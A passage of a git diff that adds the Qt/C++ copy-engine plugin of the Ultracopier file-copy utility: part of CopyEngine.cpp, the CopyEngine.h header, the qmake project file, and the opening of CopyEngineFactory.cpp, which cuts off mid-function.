+void CopyEngine::sendNewFilters()
+{
+ if(filters!=NULL)
+ emit send_setFilters(filters->getInclude(),filters->getExclude());
+}
+
+void CopyEngine::sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("new filter"));
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+ emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+void CopyEngine::showRenamingRules()
+{
+ if(renamingRules==NULL)
+ {
+ QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded. Unable to access the filters"));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"options not loaded");
+ return;
+ }
+ renamingRules->exec();
+}
+
+void CopyEngine::get_realBytesTransfered(quint64 realBytesTransfered)
+{
+ size_for_speed=realBytesTransfered;
+}
+
+void CopyEngine::newActionInProgess(Ultracopier::EngineActionInProgress action)
+{
+ if(action==Ultracopier::Idle)
+ {
+ timerProgression.stop();
+ timerActionDone.stop();
+ }
+ else
+ {
+ timerProgression.start();
+ timerActionDone.start();
+ }
+}
+
+void CopyEngine::updatedBlockSize()
+{
+ if(uiIsInstalled)
+ {
+ ui->sequentialBuffer->setMinimum(ui->blockSize->value());
+ ui->sequentialBuffer->setSingleStep(ui->blockSize->value());
+ ui->sequentialBuffer->setMaximum(ui->blockSize->value()*ULTRACOPIER_PLUGIN_MAX_SEQUENTIAL_NUMBER_OF_BLOCK);
+ ui->parallelBuffer->setMinimum(ui->blockSize->value());
+ ui->parallelBuffer->setSingleStep(ui->blockSize->value());
+ ui->parallelBuffer->setMaximum(ui->blockSize->value()*ULTRACOPIER_PLUGIN_MAX_PARALLEL_NUMBER_OF_BLOCK);
+ }
+ setParallelBuffer(parallelBuffer);
+ setSequentialBuffer(sequentialBuffer);
+}
+
+void CopyEngine::setCheckDiskSpace(const bool &checkDiskSpace)
+{
+ this->checkDiskSpace=checkDiskSpace;
+ if(uiIsInstalled)
+ ui->checkDiskSpace->setChecked(checkDiskSpace);
+ listThread->setCheckDiskSpace(checkDiskSpace);
+}
+
+void CopyEngine::setDefaultDestinationFolder(const QString &defaultDestinationFolder)
+{
+ this->defaultDestinationFolder=defaultDestinationFolder;
+ if(uiIsInstalled)
+ ui->defaultDestinationFolder->setText(defaultDestinationFolder);
+}
+
+void CopyEngine::setCopyListOrder(const bool &order)
+{
+ listThread->setCopyListOrder(order);
+}
+
+void CopyEngine::exportErrorIntoTransferList()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"exportErrorIntoTransferList");
+ QString fileName = QFileDialog::getSaveFileName(interface,facilityEngine->translateText(QStringLiteral("Save transfer list")),QStringLiteral("transfer-list.lst"),facilityEngine->translateText(QStringLiteral("Transfer list"))+QStringLiteral(" (*.lst)"));
+ if(fileName.isEmpty())
+ return;
+ emit signal_exportErrorIntoTransferList(fileName);
+}
diff --git a/plugins/CopyEngine/Ultracopier/CopyEngine.h b/plugins/CopyEngine/Ultracopier/CopyEngine.h
new file mode 100644
index 0000000..d38fd4e
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/CopyEngine.h
@@ -0,0 +1,381 @@
+/** \file copyEngine.h
+\brief Define the copy engine
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include <QWidget>
+#include <QObject>
+#include <QList>
+#include <QStringList>
+#include <QFileInfo>
+#include <QFile>
+#include <QFileDialog>
+#include <QMessageBox>
+
+#include "../../../interface/PluginInterface_CopyEngine.h"
+#include "FileErrorDialog.h"
+#include "FileExistsDialog.h"
+#include "FolderExistsDialog.h"
+#include "FileIsSameDialog.h"
+#include "ui_copyEngineOptions.h"
+#include "Environment.h"
+#include "ListThread.h"
+#include "Filters.h"
+#include "RenamingRules.h"
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+#include "DebugDialog.h"
+#include <QTimer>
+#endif
+
+#ifndef COPY_ENGINE_H
+#define COPY_ENGINE_H
+
+namespace Ui {
+ class copyEngineOptions;
+}
+
+/// \brief the implementation of copy engine plugin, manage directly few stuff, else pass to ListThread class.
+class CopyEngine : public PluginInterface_CopyEngine
+{
+ Q_OBJECT
+public:
+ CopyEngine(FacilityInterface * facilityEngine);
+ ~CopyEngine();
+ void connectTheSignalsSlots();
+private:
+ ListThread * listThread;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ DebugDialog debugDialogWindow;
+ #endif
+ QWidget * tempWidget;
+ Ui::copyEngineOptions * ui;
+ bool uiIsInstalled;
+ QWidget * interface;
+ Filters * filters;
+ RenamingRules * renamingRules;
+ FacilityInterface * facilityEngine;
+ quint32 maxSpeed;
+ bool doRightTransfer;
+ bool keepDate;
+ int blockSize;
+ int parallelBuffer;
+ int sequentialBuffer;
+ int parallelizeIfSmallerThan;
+ bool followTheStrictOrder;
+ bool deletePartiallyTransferredFiles;
+ int inodeThreads;
+ bool renameTheOriginalDestination;
+ bool moveTheWholeFolder;
+ bool autoStart;
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ bool rsync;
+ #endif
+ bool checkDestinationFolderExists;
+ FileExistsAction alwaysDoThisActionForFileExists;
+ FileErrorAction alwaysDoThisActionForFileError;
+ FileErrorAction alwaysDoThisActionForFolderError;
+ FolderExistsAction alwaysDoThisActionForFolderExists;
+ TransferAlgorithm transferAlgorithm;
+ bool dialogIsOpen;
+ volatile bool stopIt;
+ QString defaultDestinationFolder;
+ /// \brief error queue
+ struct errorQueueItem
+ {
+ TransferThread * transfer; ///< NULL if send by scan thread
+ ScanFileOrFolder * scan; ///< NULL if send by transfer thread
+ bool mkPath;
+ bool rmPath;
+ QFileInfo inode;
+ QString errorString;
+ ErrorType errorType;
+ };
+ QList<errorQueueItem> errorQueue;
+ /// \brief already exists queue
+ struct alreadyExistsQueueItem
+ {
+ TransferThread * transfer; ///< NULL if send by scan thread
+ ScanFileOrFolder * scan; ///< NULL if send by transfer thread
+ QFileInfo source;
+ QFileInfo destination;
+ bool isSame;
+ };
+ QList<alreadyExistsQueueItem> alreadyExistsQueue;
+ quint64 size_for_speed;//because direct access to list thread into the main thread can't be do
+ Ultracopier::CopyMode mode;
+ bool forcedMode;
+
+ bool doChecksum;
+ bool checksumIgnoreIfImpossible;
+ bool checksumOnlyOnError;
+ bool osBuffer;
+ bool osBufferLimited;
+ bool checkDiskSpace;
+ unsigned int osBufferLimit;
+ QStringList includeStrings,includeOptions,excludeStrings,excludeOptions;
+ QString firstRenamingRule;
+ QString otherRenamingRule;
+
+ //send action done timer
+ QTimer timerActionDone;
+ //send progression timer
+ QTimer timerProgression;
+
+ QTimer timerUpdateMount;
+ int putAtBottom;//to keep how many automatic put at bottom have been used
+private slots:
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ void updateTheDebugInfo(const QStringList &newList, const QStringList &newList2, const int &numberOfInodeOperation);
+ #endif
+
+ /************* External call ********************/
+ //dialog message
+ /// \note Can be call without queue because all call will be serialized
+ void fileAlreadyExistsSlot(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread);
+ /// \note Can be call without queue because all call will be serialized
+ void errorOnFileSlot(QFileInfo fileInfo, QString errorString, TransferThread * thread, const ErrorType &errorType);
+ /// \note Can be call without queue because all call will be serialized
+ void folderAlreadyExistsSlot(QFileInfo source,QFileInfo destination,bool isSame,ScanFileOrFolder * thread);
+ /// \note Can be call without queue because all call will be serialized
+ void errorOnFolderSlot(QFileInfo fileInfo, QString errorString, ScanFileOrFolder * thread, ErrorType errorType);
+ //mkpath event
+ void mkPathErrorOnFolderSlot(QFileInfo, QString, ErrorType errorType);
+
+ //dialog message
+ /// \note Can be call without queue because all call will be serialized
+ void fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread,bool isCalledByShowOneNewDialog=false);
+ /// \note Can be call without queue because all call will be serialized
+ void errorOnFile(QFileInfo fileInfo, QString errorString, TransferThread * thread, const ErrorType &errorType, bool isCalledByShowOneNewDialog=false);
+ /// \note Can be call without queue because all call will be serialized
+ void folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,ScanFileOrFolder * thread,bool isCalledByShowOneNewDialog=false);
+ /// \note Can be call without queue because all call will be serialized
+ void errorOnFolder(QFileInfo fileInfo,QString errorString,ScanFileOrFolder * thread, ErrorType errorType,bool isCalledByShowOneNewDialog=false);
+ //mkpath event
+ void mkPathErrorOnFolder(QFileInfo, QString, const ErrorType &errorType, bool isCalledByShowOneNewDialog=false);
+
+ //show one new dialog if needed
+ void showOneNewDialog();
+ void sendNewFilters();
+
+ void doChecksum_toggled(bool);
+ void checksumOnlyOnError_toggled(bool);
+ void checksumIgnoreIfImpossible_toggled(bool);
+ void osBuffer_toggled(bool);
+ void osBufferLimited_toggled(bool);
+ void osBufferLimit_editingFinished();
+ void showFilterDialog();
+ void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
+ void showRenamingRules();
+ void get_realBytesTransfered(quint64 realBytesTransfered);
+ void newActionInProgess(Ultracopier::EngineActionInProgress);
+ void updatedBlockSize();
+ void updateBufferCheckbox();
+ void haveNeedPutAtBottom(bool needPutAtBottom, const QFileInfo &fileInfo, const QString &errorString, TransferThread *thread, const ErrorType &errorType);
+ void missingDiskSpace(QList<Diskspace> list);
+ void exportErrorIntoTransferList();
+public:
+ /** \brief to send the options panel
+ * \return return false if have not the options
+ * \param tempWidget the widget to generate on it the options */
+ bool getOptionsEngine(QWidget * tempWidget);
+ /** \brief to have interface widget to do modal dialog
+ * \param interface to have the widget of the interface, useful for modal dialog */
+ void setInterfacePointer(QWidget * interface);
+ //return empty if multiple
+ /** \brief compare the current sources of the copy, with the passed arguments
+ * \param sources the sources list to compares with the current sources list
+ * \return true if have same sources, else false (or empty) */
+ bool haveSameSource(const QStringList &sources);
+ /** \brief compare the current destination of the copy, with the passed arguments
+ * \param destination the destination to compares with the current destination
+ * \return true if have same destination, else false (or empty) */
+ bool haveSameDestination(const QString &destination);
+ //external soft like file browser have send copy/move list to do
+ /** \brief send copy without destination, ask the destination
+ * \param sources the sources list to copy
+ * \return true if the copy have been accepted */
+ bool newCopy(const QStringList &sources);
+ /** \brief send copy with destination
+ * \param sources the sources list to copy
+ * \param destination the destination to copy
+ * \return true if the copy have been accepted */
+ bool newCopy(const QStringList &sources,const QString &destination);
+ /** \brief send move without destination, ask the destination
+ * \param sources the sources list to move
+ * \return true if the move have been accepted */
+ bool newMove(const QStringList &sources);
+ /** \brief send move without destination, ask the destination
+ * \param sources the sources list to move
+ * \param destination the destination to move
+ * \return true if the move have been accepted */
+ bool newMove(const QStringList &sources,const QString &destination);
+ /** \brief send the new transfer list
+ * \param file the transfer list */
+ void newTransferList(const QString &file);
+
+ /** \brief to get byte read, use by Ultracopier for the speed calculation
+ * real size transfered to right speed calculation */
+ quint64 realByteTransfered();
+ /** \brief support speed limitation */
+ bool supportSpeedLimitation() const;
+
+ /** \brief to set drives detected
+ * specific to this copy engine */
+
+ /** \brief to sync the transfer list
+ * Used when the interface is changed, useful to minimize the memory size */
+ void syncTransferList();
+
+ void set_doChecksum(bool doChecksum);
+ void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
+ void set_checksumOnlyOnError(bool checksumOnlyOnError);
+ void set_osBuffer(bool osBuffer);
+ void set_osBufferLimited(bool osBufferLimited);
+ void set_osBufferLimit(unsigned int osBufferLimit);
+ void set_setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
+ void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ void setRsync(const bool rsync);
+ #endif
+ void setCheckDiskSpace(const bool &checkDiskSpace);
+ void setDefaultDestinationFolder(const QString &defaultDestinationFolder);
+ void setCopyListOrder(const bool &order);
+ void defaultDestinationFolderBrowse();
+ QString askDestination();
+public slots:
+ //user ask ask to add folder (add it with interface ask source/destination)
+ /** \brief add folder called on the interface
+ * Used by manual adding */
+ bool userAddFolder(const Ultracopier::CopyMode &mode);
+ /** \brief add file called on the interface
+ * Used by manual adding */
+ bool userAddFile(const Ultracopier::CopyMode &mode);
+ //action on the copy
+ /// \brief put the transfer in pause
+ void pause();
+ /// \brief resume the transfer
+ void resume();
+ /** \brief skip one transfer entry
+ * \param id id of the file to remove */
+ void skip(const quint64 &id);
+ /// \brief cancel all the transfer
+ void cancel();
+ //edit the transfer list
+ /** \brief remove the selected item
+ * \param ids ids is the id list of the selected items */
+ void removeItems(const QList<int> &ids);
+ /** \brief move on top of the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsOnTop(const QList<int> &ids);
+ /** \brief move up the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsUp(const QList<int> &ids);
+ /** \brief move down the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsDown(const QList<int> &ids);
+ /** \brief move on bottom of the list the selected item
+ * \param ids ids is the id list of the selected items */
+ void moveItemsOnBottom(const QList<int> &ids);
+
+ /** \brief give the forced mode, to export/import transfer list */
+ void forceMode(const Ultracopier::CopyMode &mode);
+ /// \brief export the transfer list into a file
+ void exportTransferList();
+ /// \brief import the transfer list into a file
+ void importTransferList();
+
+ /** \brief to set the speed limitation
+ * -1 if not able, 0 if disabled */
+ bool setSpeedLimitation(const qint64 &speedLimitation);
+
+ // specific to this copy engine
+
+ /// \brief set if the rights shoul be keep
+ void setRightTransfer(const bool doRightTransfer);
+ /// \brief set keep date
+ void setKeepDate(const bool keepDate);
+ /// \brief set block size in KB
+ void setBlockSize(const int blockSize);
+
+ void setParallelBuffer(int parallelBuffer);
+ void setSequentialBuffer(int sequentialBuffer);
+ void setParallelizeIfSmallerThan(int parallelizeIfSmallerThan);
+ void setMoveTheWholeFolder(const bool &moveTheWholeFolder);
+ void setFollowTheStrictOrder(const bool &followTheStrictOrder);
+ void setDeletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles);
+ void setInodeThreads(const int &inodeThreads);
+ void setRenameTheOriginalDestination(const bool &renameTheOriginalDestination);
+ void inodeThreadsFinished();
+
+ /// \brief set auto start
+ void setAutoStart(const bool autoStart);
+ /// \brief set if need check if the destination folder exists
+ void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
+ /// \brief reset widget
+ void resetTempWidget();
+ //autoconnect
+ void setFolderCollision(int index);
+ void setFolderError(int index);
+ void setFileCollision(int index);
+ void setFileError(int index);
+ void setTransferAlgorithm(int index);
+ /// \brief need retranslate the insterface
+ void newLanguageLoaded();
+private slots:
+ void setComboBoxFolderCollision(FolderExistsAction action,bool changeComboBox=true);
+ void setComboBoxFolderError(FileErrorAction action,bool changeComboBox=true);
+ void warningTransferList(const QString &warning);
+ void errorTransferList(const QString &error);
+signals:
+ //action on the copy
+ void signal_pause() const;
+ void signal_resume() const;
+ void signal_skip(const quint64 &id) const;
+
+ //edit the transfer list
+ void signal_removeItems(const QList<int> &ids) const;
+ void signal_moveItemsOnTop(const QList<int> &ids) const;
+ void signal_moveItemsUp(const QList<int> &ids) const;
+ void signal_moveItemsDown(const QList<int> &ids) const;
+ void signal_moveItemsOnBottom(const QList<int> &ids) const;
+
+ void signal_forceMode(const Ultracopier::CopyMode &mode) const;
+ void signal_exportTransferList(const QString &fileName) const;
+ void signal_importTransferList(const QString &fileName) const;
+ void signal_exportErrorIntoTransferList(const QString &fileName) const;
+
+ //action
+ void signal_setTransferAlgorithm(TransferAlgorithm transferAlgorithm) const;
+ void signal_setCollisionAction(FileExistsAction alwaysDoThisActionForFileExists) const;
+ void signal_setComboBoxFolderCollision(FolderExistsAction action) const;
+ void signal_setFolderCollision(FolderExistsAction action) const;
+
+ //internal cancel
+ void tryCancel() const;
+ void getNeedPutAtBottom(const QFileInfo &fileInfo,const QString &errorString,TransferThread * thread,const ErrorType &errorType) const;
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,QString fonction,QString text,QString file,int ligne) const;
+ #endif
+
+ //other signals
+ void queryOneNewDialog() const;
+
+ void send_speedLimitation(const qint64 &speedLimitation) const;
+ void send_blockSize(const int &blockSize) const;
+ void send_osBufferLimit(const unsigned int &osBufferLimit) const;
+ void send_setFilters(const QList<Filters_rules> &include,const QList<Filters_rules> &exclude) const;
+ void send_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule) const;
+ void send_parallelBuffer(const int &parallelBuffer) const;
+ void send_sequentialBuffer(const int &sequentialBuffer) const;
+ void send_parallelizeIfSmallerThan(const int &parallelizeIfSmallerThan) const;
+ void send_followTheStrictOrder(const bool &followTheStrictOrder) const;
+ void send_deletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles) const;
+ void send_setInodeThreads(const int &inodeThreads) const;
+ void send_moveTheWholeFolder(const bool &moveTheWholeFolder) const;
+ void send_setRenameTheOriginalDestination(const bool &renameTheOriginalDestination) const;
+};
+
+#endif // COPY_ENGINE_H
diff --git a/plugins/CopyEngine/Ultracopier/CopyEngine.pro b/plugins/CopyEngine/Ultracopier/CopyEngine.pro
new file mode 100644
index 0000000..42078af
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/CopyEngine.pro
@@ -0,0 +1,101 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
+QT += widgets
+DEFINES += UNICODE _UNICODE
+TEMPLATE = lib
+CONFIG += plugin
+win32 {
+ LIBS += -ladvapi32
+}
+
+HEADERS = \
+ ../Ultracopier/StructEnumDefinition.h \
+ ../Ultracopier/StructEnumDefinition_CopyEngine.h \
+ ../Ultracopier/DebugEngineMacro.h \
+ ../Ultracopier/Variable.h \
+ ../Ultracopier/TransferThread.h \
+ ../Ultracopier/ReadThread.h \
+ ../Ultracopier/WriteThread.h \
+ ../Ultracopier/MkPath.h \
+ ../Ultracopier/AvancedQFile.h \
+ ../Ultracopier/ListThread.h \
+ ../../../interface/PluginInterface_CopyEngine.h \
+ ../../../interface/OptionInterface.h \
+ ../../../interface/FacilityInterface.h \
+ ../Ultracopier/Filters.h \
+ ../Ultracopier/FilterRules.h \
+ ../Ultracopier/RenamingRules.h \
+ ../Ultracopier/DriveManagement.h \
+ ../Ultracopier/CopyEngine.h \
+ ../Ultracopier/DebugDialog.h \
+ ../Ultracopier/CopyEngineFactory.h \
+ ../Ultracopier/FileErrorDialog.h \
+ ../Ultracopier/FileExistsDialog.h \
+ ../Ultracopier/FileIsSameDialog.h \
+ ../Ultracopier/FolderExistsDialog.h \
+ ../Ultracopier/ScanFileOrFolder.h \
+ ../Ultracopier/DiskSpace.h
+SOURCES = \
+ ../Ultracopier/TransferThread.cpp \
+ ../Ultracopier/ReadThread.cpp \
+ ../Ultracopier/WriteThread.cpp \
+ ../Ultracopier/MkPath.cpp \
+ ../Ultracopier/AvancedQFile.cpp \
+ ../Ultracopier/ListThread.cpp \
+ ../Ultracopier/Filters.cpp \
+ ../Ultracopier/FilterRules.cpp \
+ ../Ultracopier/RenamingRules.cpp \
+ ../Ultracopier/ListThread_InodeAction.cpp \
+ ../Ultracopier/DriveManagement.cpp \
+ ../Ultracopier/CopyEngine-collision-and-error.cpp \
+ ../Ultracopier/CopyEngine.cpp \
+ ../Ultracopier/DebugDialog.cpp \
+ ../Ultracopier/CopyEngineFactory.cpp \
+ ../Ultracopier/FileErrorDialog.cpp \
+ ../Ultracopier/FileExistsDialog.cpp \
+ ../Ultracopier/FileIsSameDialog.cpp \
+ ../Ultracopier/FolderExistsDialog.cpp \
+ ../Ultracopier/ScanFileOrFolder.cpp \
+ ../Ultracopier/DiskSpace.cpp
+TARGET = $$qtLibraryTarget(copyEngine)
+TRANSLATIONS += ../Ultracopier/Languages/ar/translation.ts \
+ ../Ultracopier/Languages/de/translation.ts \
+ ../Ultracopier/Languages/el/translation.ts \
+ ../Ultracopier/Languages/en/translation.ts \
+ ../Ultracopier/Languages/es/translation.ts \
+ ../Ultracopier/Languages/fr/translation.ts \
+ ../Ultracopier/Languages/hi/translation.ts \
+ ../Ultracopier/Languages/hu/translation.ts \
+ ../Ultracopier/Languages/id/translation.ts \
+ ../Ultracopier/Languages/it/translation.ts \
+ ../Ultracopier/Languages/ja/translation.ts \
+ ../Ultracopier/Languages/ko/translation.ts \
+ ../Ultracopier/Languages/nl/translation.ts \
+ ../Ultracopier/Languages/no/translation.ts \
+ ../Ultracopier/Languages/pl/translation.ts \
+ ../Ultracopier/Languages/pt/translation.ts \
+ ../Ultracopier/Languages/ru/translation.ts \
+ ../Ultracopier/Languages/th/translation.ts \
+ ../Ultracopier/Languages/tr/translation.ts \
+ ../Ultracopier/Languages/zh/translation.ts
+
+FORMS += \
+ ../Ultracopier/fileErrorDialog.ui \
+ ../Ultracopier/fileExistsDialog.ui \
+ ../Ultracopier/fileIsSameDialog.ui \
+ ../Ultracopier/debugDialog.ui \
+ ../Ultracopier/folderExistsDialog.ui \
+ ../Ultracopier/Filters.ui \
+ ../Ultracopier/FilterRules.ui \
+ ../Ultracopier/RenamingRules.ui \
+ ../Ultracopier/copyEngineOptions.ui \
+ ../Ultracopier/DiskSpace.ui
+
+OTHER_FILES += informations.xml
+
+!CONFIG(static) {
+RESOURCES += \
+ ../Ultracopier/copyEngineResources.qrc
+}
diff --git a/plugins/CopyEngine/Ultracopier/CopyEngineFactory.cpp b/plugins/CopyEngine/Ultracopier/CopyEngineFactory.cpp
new file mode 100644
index 0000000..d4d4bb6
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/CopyEngineFactory.cpp
@@ -0,0 +1,692 @@
+/** \file factory.cpp
+\brief Define the factory to create new instance
+\author alpha_one_x86 */
+
+#include <QFileDialog>
+#include <QList>
+#include <QDebug>
+#include <cmath>
+#include <QStorageInfo>
+
+#include "CopyEngineFactory.h"
+
+// The cmath header from MSVC does not contain round()
+#if (defined(_WIN64) || defined(_WIN32)) && defined(_MSC_VER)
+inline double round(double d) {
+ return floor( d + 0.5 );
+}
+#endif
+
+CopyEngineFactory::CopyEngineFactory() :
+ ui(new Ui::copyEngineOptions())
+{
+ qRegisterMetaType<FolderExistsAction>("FolderExistsAction");
+ qRegisterMetaType<FileExistsAction>("FileExistsAction");
+ qRegisterMetaType<QList<Filters_rules> >("QList<Filters_rules>");
+ qRegisterMetaType<TransferStat>("TransferStat");
+ qRegisterMetaType<QList<QByteArray> >("QList<QByteArray>");
+ qRegisterMetaType<TransferAlgorithm>("TransferAlgorithm");
+ qRegisterMetaType<ActionType>("ActionType");
+ qRegisterMetaType<ErrorType>("ErrorType");
+ qRegisterMetaType<Diskspace>("Diskspace");
+ qRegisterMetaType<QList<Diskspace> >("QList<Diskspace>");
+ qRegisterMetaType<QFileInfo>("QFileInfo");
+ qRegisterMetaType<Ultracopier::CopyMode>("Ultracopier::CopyMode");
+
+ tempWidget=new QWidget();
+ ui->setupUi(tempWidget);
+ ui->toolBox->setCurrentIndex(0);
+ ui->blockSize->setMaximum(ULTRACOPIER_PLUGIN_MAX_BLOCK_SIZE);
+ errorFound=false;
+ optionsEngine=NULL;
+ filters=new Filters(tempWidget);
+ renamingRules=new RenamingRules(tempWidget);
+
+ connect(ui->doRightTransfer, &QCheckBox::toggled, this,&CopyEngineFactory::setDoRightTransfer);
+ connect(ui->keepDate, &QCheckBox::toggled, this,&CopyEngineFactory::setKeepDate);
+ connect(ui->blockSize, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngineFactory::setBlockSize);
+ connect(ui->sequentialBuffer, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngineFactory::setSequentialBuffer);
+ connect(ui->parallelBuffer, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngineFactory::setParallelBuffer);
+ connect(ui->parallelizeIfSmallerThan, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngineFactory::setParallelizeIfSmallerThan);
+ connect(ui->inodeThreads, static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this,&CopyEngineFactory::on_inodeThreads_editingFinished);
+ connect(ui->autoStart, &QCheckBox::toggled, this,&CopyEngineFactory::setAutoStart);
+ connect(ui->doChecksum, &QCheckBox::toggled, this,&CopyEngineFactory::doChecksum_toggled);
+ connect(ui->comboBoxFolderError, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngineFactory::setFolderError);
+ connect(ui->comboBoxFolderCollision, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngineFactory::setFolderCollision);
+ connect(ui->comboBoxFileError, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngineFactory::setFileError);
+ connect(ui->comboBoxFileCollision, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngineFactory::setFileCollision);
+ connect(ui->transferAlgorithm, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&CopyEngineFactory::setTransferAlgorithm);
+ connect(ui->checkBoxDestinationFolderExists, &QCheckBox::toggled, this,&CopyEngineFactory::setCheckDestinationFolder);
+ connect(ui->checksumIgnoreIfImpossible, &QCheckBox::toggled, this,&CopyEngineFactory::checksumIgnoreIfImpossible_toggled);
+ connect(ui->checksumOnlyOnError, &QCheckBox::toggled, this,&CopyEngineFactory::checksumOnlyOnError_toggled);
+ connect(ui->osBuffer, &QCheckBox::toggled, this,&CopyEngineFactory::osBuffer_toggled);
+ connect(ui->osBufferLimited, &QCheckBox::toggled, this,&CopyEngineFactory::osBufferLimited_toggled);
+ connect(ui->osBufferLimit, &QSpinBox::editingFinished, this,&CopyEngineFactory::osBufferLimit_editingFinished);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ connect(ui->rsync, &QCheckBox::toggled, this,&CopyEngineFactory::setRsync);
+ #endif
+ connect(ui->inodeThreads, &QSpinBox::editingFinished, this,&CopyEngineFactory::on_inodeThreads_editingFinished);
+ connect(ui->osBufferLimited, &QAbstractButton::toggled, this,&CopyEngineFactory::updateBufferCheckbox);
+ connect(ui->osBuffer, &QAbstractButton::toggled, this,&CopyEngineFactory::updateBufferCheckbox);
+ connect(ui->moveTheWholeFolder, &QCheckBox::toggled, this,&CopyEngineFactory::moveTheWholeFolder);
+ connect(ui->followTheStrictOrder, &QCheckBox::toggled, this,&CopyEngineFactory::followTheStrictOrder);
+ connect(ui->deletePartiallyTransferredFiles,&QCheckBox::toggled, this,&CopyEngineFactory::deletePartiallyTransferredFiles);
+ connect(ui->renameTheOriginalDestination,&QCheckBox::toggled, this,&CopyEngineFactory::renameTheOriginalDestination);
+ connect(ui->checkDiskSpace, &QCheckBox::toggled, this,&CopyEngineFactory::checkDiskSpace);
+ connect(ui->defaultDestinationFolderBrowse,&QPushButton::clicked, this,&CopyEngineFactory::defaultDestinationFolderBrowse);
+ connect(ui->defaultDestinationFolder,&QLineEdit::editingFinished, this,&CopyEngineFactory::defaultDestinationFolder);
+ connect(ui->copyListOrder, &QCheckBox::toggled, this,&CopyEngineFactory::copyListOrder);
+
+ connect(filters,&Filters::sendNewFilters,this,&CopyEngineFactory::sendNewFilters);
+ connect(ui->filters,&QPushButton::clicked,this,&CopyEngineFactory::showFilterDialog);
+ connect(renamingRules,&RenamingRules::sendNewRenamingRules,this,&CopyEngineFactory::sendNewRenamingRules);
+ connect(ui->renamingRules,&QPushButton::clicked,this,&CopyEngineFactory::showRenamingRules);
+
+ lunchInitFunction.setInterval(0);
+ lunchInitFunction.setSingleShot(true);
+ connect(&lunchInitFunction,&QTimer::timeout,this,&CopyEngineFactory::init,Qt::QueuedConnection);
+ lunchInitFunction.start();
+}
+
+CopyEngineFactory::~CopyEngineFactory()
+{
+ delete renamingRules;
+ delete filters;
+ delete ui;
+}
+
+void CopyEngineFactory::init()
+{
+}
+
+PluginInterface_CopyEngine * CopyEngineFactory::getInstance()
+{
+ CopyEngine *realObject=new CopyEngine(facilityEngine);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(realObject,&CopyEngine::debugInformation,this,&CopyEngineFactory::debugInformation);
+ #endif
+ realObject->connectTheSignalsSlots();
+ PluginInterface_CopyEngine * newTransferEngine=realObject;
+ connect(this,&CopyEngineFactory::reloadLanguage,realObject,&CopyEngine::newLanguageLoaded);
+ realObject->setRightTransfer(ui->doRightTransfer->isChecked());
+ realObject->setKeepDate(ui->keepDate->isChecked());
+ realObject->setBlockSize(ui->blockSize->value());
+ realObject->setAutoStart(ui->autoStart->isChecked());
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ realObject->setRsync(ui->rsync->isChecked());
+ #endif
+ realObject->setFolderCollision(ui->comboBoxFolderCollision->currentIndex());
+ realObject->setFolderError(ui->comboBoxFolderError->currentIndex());
+ realObject->setFileCollision(ui->comboBoxFileCollision->currentIndex());
+ realObject->setFileError(ui->comboBoxFileError->currentIndex());
+ realObject->setTransferAlgorithm(ui->transferAlgorithm->currentIndex());
+ realObject->setCheckDestinationFolderExists(ui->checkBoxDestinationFolderExists->isChecked());
+ realObject->set_doChecksum(ui->doChecksum->isChecked());
+ realObject->set_checksumIgnoreIfImpossible(ui->checksumIgnoreIfImpossible->isChecked());
+ realObject->set_checksumOnlyOnError(ui->checksumOnlyOnError->isChecked());
+ realObject->set_osBuffer(ui->osBuffer->isChecked());
+ realObject->set_osBufferLimited(ui->osBufferLimited->isChecked());
